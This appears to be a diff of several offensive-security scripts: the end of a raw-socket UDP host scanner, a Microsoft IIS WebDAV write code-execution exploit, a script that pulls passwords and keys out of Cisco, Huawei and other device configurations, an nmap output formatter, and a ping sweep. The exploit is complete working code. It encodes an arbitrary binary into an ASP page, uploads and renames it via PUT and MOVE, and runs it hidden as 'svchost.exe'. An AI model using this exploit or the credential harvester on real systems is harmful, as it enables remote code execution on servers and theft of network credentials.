89:'OSPFIGP',90:'Sprite-RPC',91:'LARP',92:'MTP',93:'AX.25',94:'IPIP',95:'MICP',96:'SCC-SP',
|
||||||
|
97:'ETHERIP',98:'ENCAP',100:'GMTP',101:'IFMP',102:'PNNI',103:'PIM',104:'ARIS',
|
||||||
|
105:'SCPS',106:'QNX',107:'A/N',108:'IPComp',109:'SNP',110:'Compaq-Peer',111:'IPX-in-IP',112:'VRRP',
|
||||||
|
113:'PGM',115:'L2TP',116:'DDX',117:'IATP',118:'STP',119:'SRP',120:'UTI',
|
||||||
|
121:'SMP',122:'SM',123:'PTP',124:'ISIS',125:'FIRE',126:'CRTP',127:'CRUDP',128:'SSCOPMCE',
|
||||||
|
129:'IPLT',130:'SPS',131:'PIPE',132:'SCTP',133:'FC',134:'RSVP-E2E-IGNORE',135:'Mobility',136:'UDPLite',
|
||||||
|
137:'MPLS-in-IP',138:'manet',139:'HIP',140:'Shim6',141:'WESP',142:'ROHC'
|
||||||
|
}
|
||||||
|
|
||||||
|
# Human readable IP addresses.
|
||||||
|
self.src_address = socket.inet_ntoa(struct.pack('<L', self.src))
|
||||||
|
self.dst_address = socket.inet_ntoa(struct.pack('<L', self.dst))
|
||||||
|
|
||||||
|
# Human readable protocol
|
||||||
|
try:
|
||||||
|
self.protocol = self.protocol_map[self.protocol_num]
|
||||||
|
except:
|
||||||
|
self.protocol = str(self.protocol_num)
|
||||||
|
|
||||||
|
|
||||||
|
def udpSend(subnet, message):
|
||||||
|
time.sleep(5)
|
||||||
|
if DEBUG: print('[.] Started spraying UDP packets across {}'.format(str(subnet)))
|
||||||
|
|
||||||
|
packets = 0
|
||||||
|
ports = [x for x in SCAN_PORTS]
|
||||||
|
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
|
||||||
|
for ip in IPNetwork(subnet):
|
||||||
|
try:
|
||||||
|
for port in ports:
|
||||||
|
sender.sendto(message, (str(ip), port))
|
||||||
|
packets += 1
|
||||||
|
except Exception, e:
|
||||||
|
pass
|
||||||
|
|
||||||
|
print('[.] Spraying thread finished. Sent: {} packets on {} hosts.'.format(
|
||||||
|
packets, len(IPNetwork(subnet))
|
||||||
|
))
|
||||||
|
|
||||||
|
def processPackets(sniffer, subnet):
|
||||||
|
global HOSTS_UP
|
||||||
|
|
||||||
|
# Read in single packet
|
||||||
|
try:
|
||||||
|
packetNum = 0
|
||||||
|
|
||||||
|
while True:
|
||||||
|
packetPrint = ''
|
||||||
|
packetNum += 1
|
||||||
|
|
||||||
|
packet = sniffer.recvfrom((1 << 16) - 1)[0]
|
||||||
|
|
||||||
|
# Create an IP header from the first 20 bytes of the buffer.
|
||||||
|
ipHeader = IP(packet[0 : ctypes.sizeof(IP)])
|
||||||
|
|
||||||
|
timeNow = datetime.now().strftime('%H:%M:%S.%f')[:-3]
|
||||||
|
|
||||||
|
# Print out the protocol that was detected and the hosts.
|
||||||
|
packetPrint += '[{:05} | {}] {} {} > {}'.format(
|
||||||
|
packetNum, timeNow, ipHeader.protocol, ipHeader.src_address, ipHeader.dst_address,
|
||||||
|
)
|
||||||
|
|
||||||
|
if ipHeader.protocol == 'ICMP':
|
||||||
|
offset = ipHeader.ihl * 4
|
||||||
|
icmpBuf = packet[offset : offset + ctypes.sizeof(ICMP)]
|
||||||
|
icmpHeader = ICMP(icmpBuf)
|
||||||
|
|
||||||
|
packetPrint += ': ICMP Type: {} ({}), Code: {}\n'.format(
|
||||||
|
icmpHeader.type, icmpHeader.message, icmpHeader.code
|
||||||
|
)
|
||||||
|
|
||||||
|
if DEBUG:
|
||||||
|
packetPrint += hexdump(packet)
|
||||||
|
|
||||||
|
# Destination unreachable
|
||||||
|
if icmpHeader.code == 3 and icmpHeader.type == 3:
|
||||||
|
if IPAddress(ipHeader.src_address) in IPNetwork(subnet):
|
||||||
|
|
||||||
|
# Make sure it contains our message
|
||||||
|
if packet[- len(MAGIC_MESSAGE):] == MAGIC_MESSAGE:
|
||||||
|
host = ipHeader.src_address
|
||||||
|
if host not in HOSTS_UP:
|
||||||
|
print('[+] HOST IS UP: {}'.format(host))
|
||||||
|
HOSTS_UP.add(host)
|
||||||
|
|
||||||
|
if DEBUG:
|
||||||
|
print(packetPrint)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return
|
||||||
|
|
||||||
|
def hexdump(src, length = 16):
|
||||||
|
result = []
|
||||||
|
digits = 4 if isinstance(src, unicode) else 2
|
||||||
|
num = len(src)
|
||||||
|
|
||||||
|
for i in range(0, num, length):
|
||||||
|
s = src[i:i+length]
|
||||||
|
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
|
||||||
|
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
|
||||||
|
|
||||||
|
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
|
||||||
|
|
||||||
|
return '\n'.join(result)
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
global BIND
|
||||||
|
|
||||||
|
if len(argv) < 3:
|
||||||
|
print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
bindAddr = sys.argv[1]
|
||||||
|
subnet = sys.argv[2]
|
||||||
|
|
||||||
|
sockProto = None
|
||||||
|
if os.name == 'nt':
|
||||||
|
sockProto = socket.IPPROTO_IP
|
||||||
|
else:
|
||||||
|
sockProto = socket.IPPROTO_ICMP
|
||||||
|
|
||||||
|
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
|
||||||
|
if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
|
||||||
|
sniffer.bind((bindAddr, 0))
|
||||||
|
|
||||||
|
# Include IP headers in the capture
|
||||||
|
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
||||||
|
|
||||||
|
# In Windows, set up promiscous mode.
|
||||||
|
if os.name == 'nt':
|
||||||
|
try:
|
||||||
|
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
|
||||||
|
except socket.error, e:
|
||||||
|
print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))
|
||||||
|
|
||||||
|
# Sending thread
|
||||||
|
threading.Thread(target=udpSend, args=(subnet, MAGIC_MESSAGE)).start()
|
||||||
|
|
||||||
|
# Receiving thread
|
||||||
|
recvThread = threading.Thread(target=processPackets, args=(sniffer, subnet))
|
||||||
|
recvThread.daemon = True
|
||||||
|
recvThread.start()
|
||||||
|
|
||||||
|
time.sleep(15)
|
||||||
|
if DEBUG: print('[.] Breaking response wait loop.')
|
||||||
|
|
||||||
|
# Turn off promiscous mode
|
||||||
|
if os.name == 'nt':
|
||||||
|
try:
|
||||||
|
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
|
||||||
|
except socket.error, e:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1,99 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
def randstring(N = 6):
|
||||||
|
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print 'Usage: webdav_upload.py <host> <inputfile>'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
sc = ''
|
||||||
|
with open(sys.argv[2], 'rb') as f:
|
||||||
|
bytes = f.read()
|
||||||
|
sc = 'sc = Chr(%d)' % ord(bytes[0])
|
||||||
|
for i in range(1, len(bytes)):
|
||||||
|
if i % 100 == 0:
|
||||||
|
sc += '\r\nsc = sc'
|
||||||
|
sc += '&Chr(%d)' % ord(bytes[i])
|
||||||
|
|
||||||
|
put_request = '''<%% @language="VBScript" %%>
|
||||||
|
<%%
|
||||||
|
Sub webdav_upload()
|
||||||
|
Dim fs
|
||||||
|
Set fs = CreateObject("Scripting.FileSystemObject")
|
||||||
|
Dim str
|
||||||
|
Dim tmp
|
||||||
|
Dim tmpexe
|
||||||
|
Dim sc
|
||||||
|
%(shellcode)s
|
||||||
|
Dim base
|
||||||
|
Set tmp = fs.GetSpecialFolder(2)
|
||||||
|
base = tmp & "\" & fs.GetTempName()
|
||||||
|
fs.CreateFolder(base)
|
||||||
|
tmpexe = base & "\" & "svchost.exe"
|
||||||
|
Set str = fs.CreateTextFile(tmpexe, 2, 0)
|
||||||
|
str.Write sc
|
||||||
|
str.Close
|
||||||
|
Dim shell
|
||||||
|
Set shell = CreateObject("Wscript.Shell")
|
||||||
|
shell.run tmpexe, 0, false
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
webdav_upload
|
||||||
|
%%>''' % {'shellcode' : sc}
|
||||||
|
|
||||||
|
print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit'
|
||||||
|
print '\t(based on Metasploit HDM\'s <iis_webdav_upload_asp> implementation)'
|
||||||
|
print '\tMariusz B. / mgeeky, 2016\n'
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
if not host.startswith('http'):
|
||||||
|
host = 'http://' + host
|
||||||
|
outname = '/file' + randstring(6) + '.asp;.txt'
|
||||||
|
|
||||||
|
print 'Step 0: Checking if file already exist: "%s"' % (host + outname)
|
||||||
|
r = requests.get(host + outname)
|
||||||
|
if r.status_code == requests.codes.ok:
|
||||||
|
print 'Resource already exists. Exiting...'
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print '[*] File does not exists. That\'s good.'
|
||||||
|
|
||||||
|
print '\nStep 1: Upload file with improper name: "%s"' % (host + outname)
|
||||||
|
print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request)
|
||||||
|
|
||||||
|
r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'})
|
||||||
|
|
||||||
|
if r.status_code < 200 or r.status_code >= 300:
|
||||||
|
print '[!] Upload failed. Status: ' + str(r.status_code)
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print '[+] File uploaded.'
|
||||||
|
|
||||||
|
newname = outname.replace(';.txt', '')
|
||||||
|
print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname)
|
||||||
|
|
||||||
|
r = requests.request('move', host + outname, headers={'Destination':newname})
|
||||||
|
|
||||||
|
if r.status_code < 200 or r.status_code >= 300:
|
||||||
|
print '[!] Renaming operation failed. Status: ' + str(r.status_code)
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print '[+] File renamed, splendid my lord.'
|
||||||
|
|
||||||
|
print '\nStep 3: Executing resulted payload file (%s).' % (host + newname)
|
||||||
|
r = requests.get(host + newname)
|
||||||
|
|
||||||
|
if r.status_code < 200 or r.status_code >= 300:
|
||||||
|
print '[!] Execution failed. Status: ' + str(r.status_code)
|
||||||
|
print '[!] Response: ' + r.text
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print '[+] File has been launched. Game over.'
|
|
@ -0,0 +1,362 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# Script intendend to sweep Cisco, Huawei and possibly other network devices
|
||||||
|
# configuration files in order to extract plain and cipher passwords out of them.
|
||||||
|
#
|
||||||
|
# Mariusz B., mgeeky '18
|
||||||
|
#
|
||||||
|
|
||||||
|
import re
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
#
|
||||||
|
# In order to extend capabilities of this script, one can add custom entries
|
||||||
|
# to the below dictionary. Contents are:
|
||||||
|
# regexes = {
|
||||||
|
# 'Technology' : {
|
||||||
|
# 'Pattern Name' : r'pattern',
|
||||||
|
# }
|
||||||
|
# }
|
||||||
|
#
|
||||||
|
regexes = {
|
||||||
|
'Cisco' : {
|
||||||
|
'Enable secret' : r'enable secret \d+ \bcrypt',
|
||||||
|
'Privileged command level password' : r'password \password',
|
||||||
|
'Enable password' : r'enable password \password',
|
||||||
|
'Enable password(2)' : r'enable password level \d+ \password',
|
||||||
|
'Username/password' : r'username \name .*(?:password|secret \d) \password',
|
||||||
|
'HSRP Authentication string' : r'standby \d+ authentication \password',
|
||||||
|
'HSRP Authentication Text' : r'authentication text \password',
|
||||||
|
'HSRP Authentication MD5 key-string': r'standby \d+ authentication md5 key-string \keystring',
|
||||||
|
'OSPF Authentication string' : r'ip ospf authentication-key \password',
|
||||||
|
'OSPF Authentication MD5 string' : r'ip ospf message-digest-key \d+ md5 \password',
|
||||||
|
'EIGRP Key-string' : r'key-string \password',
|
||||||
|
'BGP Neighbor Authentication' : r'neighbor (\ip) password 7 \hash',
|
||||||
|
'AAA RADIUS Server Auth-Key' : r'server-private \ip auth-port \d+ acct-port \d+ key \d+ \hash',
|
||||||
|
'NTP Authentication MD5 Key' : r'ntp authentication-key \d+ md5 \password \d',
|
||||||
|
'TACACS-Server' : r'tacacs-server host \ip key \d \hash',
|
||||||
|
'RADIUS Server Key' : r'key 7 \hash',
|
||||||
|
'SNMP-Server User/Password' : r'snmp-server user \name [\w-]+ auth md5 0x\hash priv 0x\hash localizedkey',
|
||||||
|
'FTP Server Username' : r'ip ftp username \name',
|
||||||
|
'FTP Server Password' : r'ip ftp password \password',
|
||||||
|
},
|
||||||
|
|
||||||
|
'Cisco ASA' : {
|
||||||
|
'Username and Password' : r'username \name .*password \password',
|
||||||
|
'LDAP Login password' : r'ldap-login-password \password',
|
||||||
|
'SNMP-Server authentication' : r'snmp-server user \name snmp-read-only-group v\d engineID \hash encrypted auth md5 ([0-9a-fA-F\:]+) priv aes 256 ([0-9a-fA-F\:]+)',
|
||||||
|
},
|
||||||
|
|
||||||
|
'Huawei' : {
|
||||||
|
'VTY User interface' : r'set authentication password cipher \password',
|
||||||
|
'Local User' : r'local-user \name password (?:cipher|irreversible-cipher) \password',
|
||||||
|
'NTP Authentication' : r'ntp-service authentication-keyid \d+ authentication-mode (md5|hmac-sha256) (?:cipher)?\s*\password',
|
||||||
|
'RADIUS Server Shared-Key' : r'radius-server shared-key cipher \password',
|
||||||
|
'RADIUS Server Authorization' : r'radius-server authorization \ip shared-key cipher \password',
|
||||||
|
'TACACS-Server Shared-Key Cipher' : r'hwtacacs-server shared-key cipher \password',
|
||||||
|
'SNMP-Agent Authentication MD5' : r'snmp-agent [\w-]+ v\d \name authentication-mode md5 \password',
|
||||||
|
'SNMP-Agent Authentication AES' : r'snmp-agent [\w-]+ v\d \name privacy-mode aes128 \password',
|
||||||
|
},
|
||||||
|
|
||||||
|
'Checkpoint gateway' : {
|
||||||
|
'SNMP User' : r'add snmp usm user \name security-level \w+ auth-pass-phrase-hashed \hash privacy-pass-phrase-hashed \hash privacy-protocol DES',
|
||||||
|
'Expert Password Hash' : r'set expert-password-hash \bcrypt',
|
||||||
|
'TACACS Authentication Key' : r'add aaa tacacs-servers priority \d+ server \ip key \password',
|
||||||
|
'User password-hash' : r'set user \name password-hash \bcrypt',
|
||||||
|
},
|
||||||
|
|
||||||
|
'F5 BIG-IP' : {
|
||||||
|
'Username and password' : r'manage user table create \name -pw \password',
|
||||||
|
'Configuration Sync Password' : r'redundancy config-sync sync-session-password set \password',
|
||||||
|
},
|
||||||
|
|
||||||
|
'PaloAlto Proxy' : {
|
||||||
|
'Active Directory Auth password' : r'<bind-password>([^<]+)</bind-password>',
|
||||||
|
'NTLM Password' : r'<ntlm-password>([^<]+)</ntlm-password>',
|
||||||
|
'Agent User key' : r'<agent-user-override-key>([^<]+)</agent-user-override-key>',
|
||||||
|
'User Password Hash' : r'<phash>([^<]+)</phash>',
|
||||||
|
},
|
||||||
|
|
||||||
|
'Others' : {
|
||||||
|
'Other uncategorized password' : r'.* password \password.*',
|
||||||
|
'Other uncategorized XML password' : r'password>([^<]+)<',
|
||||||
|
'Other uncategorized authentication string' : r'.* authentication \password.*',
|
||||||
|
'Other hash-key related' : r'.* key \hash',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
config = {
|
||||||
|
'verbose' : False,
|
||||||
|
'debug' : False,
|
||||||
|
'lines' : 0,
|
||||||
|
'output' : 'normal',
|
||||||
|
'csv_delimiter' : ';',
|
||||||
|
'no_others' : False,
|
||||||
|
}
|
||||||
|
|
||||||
|
markers = {
|
||||||
|
'name' : r'([\w-]+|\"[\w-]+\")',
|
||||||
|
'ip' : r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
|
||||||
|
'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})',
|
||||||
|
'hash' : r'([a-fA-F0-9]{20,})',
|
||||||
|
'bcrypt' : r'([\$\w\.\/]+)',
|
||||||
|
'password': r'(?:\d\s+)?([^\s]+)',
|
||||||
|
'keystring': r'([a-f0-9]+)',
|
||||||
|
}
|
||||||
|
|
||||||
|
foundCreds = set()
|
||||||
|
|
||||||
|
maxTechnologyWidth = 0
|
||||||
|
maxRegexpWidth = 0
|
||||||
|
|
||||||
|
results = set()
|
||||||
|
|
||||||
|
class Logger:
|
||||||
|
@staticmethod
|
||||||
|
def _out(x):
|
||||||
|
if config['debug'] or config['verbose']:
|
||||||
|
sys.stdout.write(x + '\n')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def dbg(x):
|
||||||
|
if config['debug']:
|
||||||
|
sys.stdout.write('[dbg] ' + x + '\n')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def out(x):
|
||||||
|
Logger._out('[.] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def info(x):
|
||||||
|
Logger._out('[?] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def err(x):
|
||||||
|
Logger._out('[!] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def fail(x):
|
||||||
|
Logger._out('[-] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ok(x):
|
||||||
|
Logger._out('[+] ' + x)
|
||||||
|
|
||||||
|
def processRegex(inputRegex):
|
||||||
|
for marker in markers:
|
||||||
|
if '\\' + marker in inputRegex:
|
||||||
|
inputRegex = inputRegex.replace('\\' + marker, markers[marker])
|
||||||
|
|
||||||
|
inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex)
|
||||||
|
return inputRegex
|
||||||
|
|
||||||
|
def matchLines(lines, technology):
|
||||||
|
global foundCreds
|
||||||
|
global results
|
||||||
|
|
||||||
|
num = 0
|
||||||
|
|
||||||
|
for rex in regexes[technology]:
|
||||||
|
for idx in range(len(lines)):
|
||||||
|
line = lines[idx].strip()
|
||||||
|
|
||||||
|
if line in foundCreds:
|
||||||
|
continue
|
||||||
|
|
||||||
|
processedRex = processRegex(regexes[technology][rex])
|
||||||
|
matched = re.match(processedRex, line, re.I)
|
||||||
|
if matched:
|
||||||
|
num += 1
|
||||||
|
|
||||||
|
foundCreds.add(line)
|
||||||
|
creds = '", "'.join(matched.groups(1))
|
||||||
|
|
||||||
|
results.add((
|
||||||
|
technology, rex, creds
|
||||||
|
))
|
||||||
|
|
||||||
|
Logger._out('[+] {}: {}: {}'.format(
|
||||||
|
technology, rex, creds
|
||||||
|
))
|
||||||
|
|
||||||
|
if idx - config['lines'] >= 0:
|
||||||
|
for i in range(idx - config['lines'], idx):
|
||||||
|
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
|
||||||
|
|
||||||
|
if config['lines'] != 0:
|
||||||
|
Logger._out('[{:04}]==>\t{}'.format(idx, line))
|
||||||
|
else:
|
||||||
|
Logger._out('[{:04}]\t\t{}'.format(idx, line))
|
||||||
|
|
||||||
|
if idx + 1 + config['lines'] < len(lines):
|
||||||
|
for i in range(idx + 1, idx + config['lines'] + 1):
|
||||||
|
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
|
||||||
|
|
||||||
|
Logger.dbg('\tRegex used: [ {} ]'.format(processedRex))
|
||||||
|
return num
|
||||||
|
|
||||||
|
def processFile(file):
|
||||||
|
lines = []
|
||||||
|
|
||||||
|
Logger.info('Processing file: "{}"'.format(file))
|
||||||
|
with open(file, 'r') as f:
|
||||||
|
lines = [ line.strip() for line in f.readlines()]
|
||||||
|
|
||||||
|
num = 0
|
||||||
|
for technology in regexes:
|
||||||
|
if technology == 'Others':
|
||||||
|
continue
|
||||||
|
|
||||||
|
num0 = matchLines(lines, technology)
|
||||||
|
num += num0
|
||||||
|
|
||||||
|
if not config['no_others']:
|
||||||
|
num0 = matchLines(lines, 'Others')
|
||||||
|
if num0 == 0:
|
||||||
|
print('<none>')
|
||||||
|
num += num0
|
||||||
|
|
||||||
|
return num
|
||||||
|
|
||||||
|
def processDir(dirname):
|
||||||
|
num = 0
|
||||||
|
for filename in os.listdir(dirname):
|
||||||
|
newfilename = os.path.join(dirname, filename)
|
||||||
|
if os.path.isdir(newfilename):
|
||||||
|
num += processDir(newfilename)
|
||||||
|
elif os.path.isfile(newfilename):
|
||||||
|
num += processFile(newfilename)
|
||||||
|
return num
|
||||||
|
|
||||||
|
def parseOptions(argv):
|
||||||
|
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
|
||||||
|
parser.add_argument('file', metavar='<file>', type=str, help='Config file or directory to process.')
|
||||||
|
parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.')
|
||||||
|
parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'")
|
||||||
|
parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.')
|
||||||
|
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
|
||||||
|
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
||||||
|
|
||||||
|
if len(argv) < 2:
|
||||||
|
parser.print_help()
|
||||||
|
return False
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
config['verbose'] = args.verbose
|
||||||
|
config['debug'] = args.debug
|
||||||
|
config['lines'] = args.lines
|
||||||
|
config['no_others'] = args.no_others
|
||||||
|
|
||||||
|
if args.format == 'raw':
|
||||||
|
config['output'] = 'raw'
|
||||||
|
elif args.format == 'tabular':
|
||||||
|
config['output'] = 'tabular'
|
||||||
|
elif args.format == 'csv':
|
||||||
|
config['output'] = 'csv'
|
||||||
|
else:
|
||||||
|
config['output'] == 'normal'
|
||||||
|
|
||||||
|
return args
|
||||||
|
|
||||||
|
def printResults():
|
||||||
|
global maxTechnologyWidth
|
||||||
|
global maxRegexpWidth
|
||||||
|
|
||||||
|
# CSV Columns
|
||||||
|
cols = ['technology', 'name', 'hashes']
|
||||||
|
|
||||||
|
def _print(technology, rex, creds):
|
||||||
|
if config['output'] == 'tabular':
|
||||||
|
print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format(
|
||||||
|
technology, rex, creds,
|
||||||
|
width1 = maxTechnologyWidth, width2 = maxRegexpWidth
|
||||||
|
))
|
||||||
|
elif config['output'] == 'raw':
|
||||||
|
credstab = creds.split('", "')
|
||||||
|
longest = ''
|
||||||
|
|
||||||
|
for passwd in credstab:
|
||||||
|
if len(passwd) > len(longest):
|
||||||
|
longest = passwd
|
||||||
|
|
||||||
|
print('{}'.format(
|
||||||
|
passwd
|
||||||
|
))
|
||||||
|
elif config['output'] == 'csv':
|
||||||
|
creds = '"{}"'.format(creds)
|
||||||
|
rex = rex.replace(config['csv_delimiter'], ' ')
|
||||||
|
#creds = creds.replace(config['csv_delimiter'], ' ')
|
||||||
|
print(config['csv_delimiter'].join([technology, rex, creds]))
|
||||||
|
else:
|
||||||
|
print('[+] {}: {}: "{}"'.format(
|
||||||
|
technology, rex, creds
|
||||||
|
))
|
||||||
|
|
||||||
|
maxTechnologyWidth = 0
|
||||||
|
maxRegexpWidth = 0
|
||||||
|
|
||||||
|
for result in results:
|
||||||
|
technology, rex, creds = result
|
||||||
|
if len(technology) > maxTechnologyWidth:
|
||||||
|
maxTechnologyWidth = len(technology)
|
||||||
|
|
||||||
|
if len(regexes[technology][rex]) > maxRegexpWidth:
|
||||||
|
maxRegexpWidth = len(regexes[technology][rex])
|
||||||
|
|
||||||
|
maxTechnologyWidth = maxTechnologyWidth + 3
|
||||||
|
maxRegexpWidth = maxRegexpWidth + 3
|
||||||
|
|
||||||
|
if config['output'] == 'normal' or config['output'] == 'tabular':
|
||||||
|
print('\n=== CREDENTIALS FOUND:')
|
||||||
|
elif config['output'] == 'csv':
|
||||||
|
print(config['csv_delimiter'].join(cols))
|
||||||
|
|
||||||
|
for result in results:
|
||||||
|
technology, rex, creds = result
|
||||||
|
if technology == 'Others': continue
|
||||||
|
_print(technology, rex, creds)
|
||||||
|
|
||||||
|
if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'):
|
||||||
|
print('\n=== BELOW LINES MAY BE FALSE POSITIVES:')
|
||||||
|
|
||||||
|
for result in results:
|
||||||
|
technology, rex, creds = result
|
||||||
|
if technology != 'Others': continue
|
||||||
|
_print(technology, rex, creds)
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
Logger._out('''
|
||||||
|
:: Network-configuration Credentials extraction script
|
||||||
|
Mariusz B. / mgeeky, '18
|
||||||
|
''')
|
||||||
|
opts = parseOptions(argv)
|
||||||
|
if not opts:
|
||||||
|
Logger.err('Options parsing failed.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for technology in regexes:
|
||||||
|
count += len(regexes[technology])
|
||||||
|
|
||||||
|
Logger.info('Capable of matching: {} patterns containing credentials.'.format(count))
|
||||||
|
|
||||||
|
num = 0
|
||||||
|
if os.path.isfile(opts.file):
|
||||||
|
num = processFile(opts.file)
|
||||||
|
elif os.path.isdir(opts.file):
|
||||||
|
num = processDir(opts.file)
|
||||||
|
else:
|
||||||
|
Logger.err('Please provide either file or directory on input.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
printResults()
|
||||||
|
|
||||||
|
if config['output'] == 'normal' or config['output'] == 'tabular':
|
||||||
|
print('\n[>] Found: {} credentials.'.format(num))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1,37 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
#
|
||||||
|
# Simple script converting nmap's greppable output into a
|
||||||
|
# printable per-host table with protocol, port, state and service
|
||||||
|
# columns in it.
|
||||||
|
#
|
||||||
|
|
||||||
|
#
|
||||||
|
# WARNING:
|
||||||
|
# This script looks for gnmap (-oG) files within
|
||||||
|
# current working directory (cwd)
|
||||||
|
#
|
||||||
|
|
||||||
|
for host in $(find -name "*.gnmap" | sort -t'.' -n -k5)
|
||||||
|
do
|
||||||
|
if cat $host | grep -q "Status: Up" && cat $host | grep -q "Ports:"; then
|
||||||
|
hostip=$(grep Ports $host | cut -d' ' -f2)
|
||||||
|
ports=$(cat ${hostip}*.gnmap | grep Ports | cut -d: -f3 | sed 's:/, :\n:g' | awk '{$1=$1}1')
|
||||||
|
|
||||||
|
IFS=$'\n'
|
||||||
|
|
||||||
|
echo -e "\n\nHost: $hostip\n"
|
||||||
|
echo -e "Proto\t| Port\t| State\t\t| Service"
|
||||||
|
echo -e "----------------------------------------------------"
|
||||||
|
|
||||||
|
for port in $ports
|
||||||
|
do
|
||||||
|
proto=$(echo $port | cut -d/ -f3)
|
||||||
|
portnum=$(echo $port | cut -d/ -f1)
|
||||||
|
state=$(echo $port | cut -d/ -f2)
|
||||||
|
service=$(echo $port | cut -d/ -f5)
|
||||||
|
|
||||||
|
printf "%s\t| %-5s\t| %-13s\t| %s\n" $proto $portnum $state $service
|
||||||
|
done | sort -u -k3,3 -n
|
||||||
|
fi
|
||||||
|
done
|
|
@ -0,0 +1,39 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import netaddr
|
||||||
|
import logging
|
||||||
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||||
|
from scapy.all import sr1, IP, ICMP
|
||||||
|
|
||||||
|
PING_TIMEOUT = 3
|
||||||
|
IFACE='eth0'
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
print '\tQuick Ping Sweep\n'
|
||||||
|
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print '[?] Usage: pingsweep <network>'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
net = sys.argv[1]
|
||||||
|
print 'Input network:', net
|
||||||
|
|
||||||
|
responding = []
|
||||||
|
network = netaddr.IPNetwork(net)
|
||||||
|
|
||||||
|
for ip in network:
|
||||||
|
if ip == network.network or ip == network.broadcast:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Send & wait for response for the ICMP Echo Request packet
|
||||||
|
reply = sr1( IP(dst=str(ip)) / ICMP(), timeout=PING_TIMEOUT, iface=IFACE, verbose=0 )
|
||||||
|
|
||||||
|
if not reply:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if int(reply.getlayer(ICMP).type) == 0 and int(reply.getlayer(ICMP).code) == 0:
|
||||||
|
print ip, ': Host is responding to ICMP Echo Requests.'
|
||||||
|
responding.append(ip)
|
||||||
|
|
||||||
|
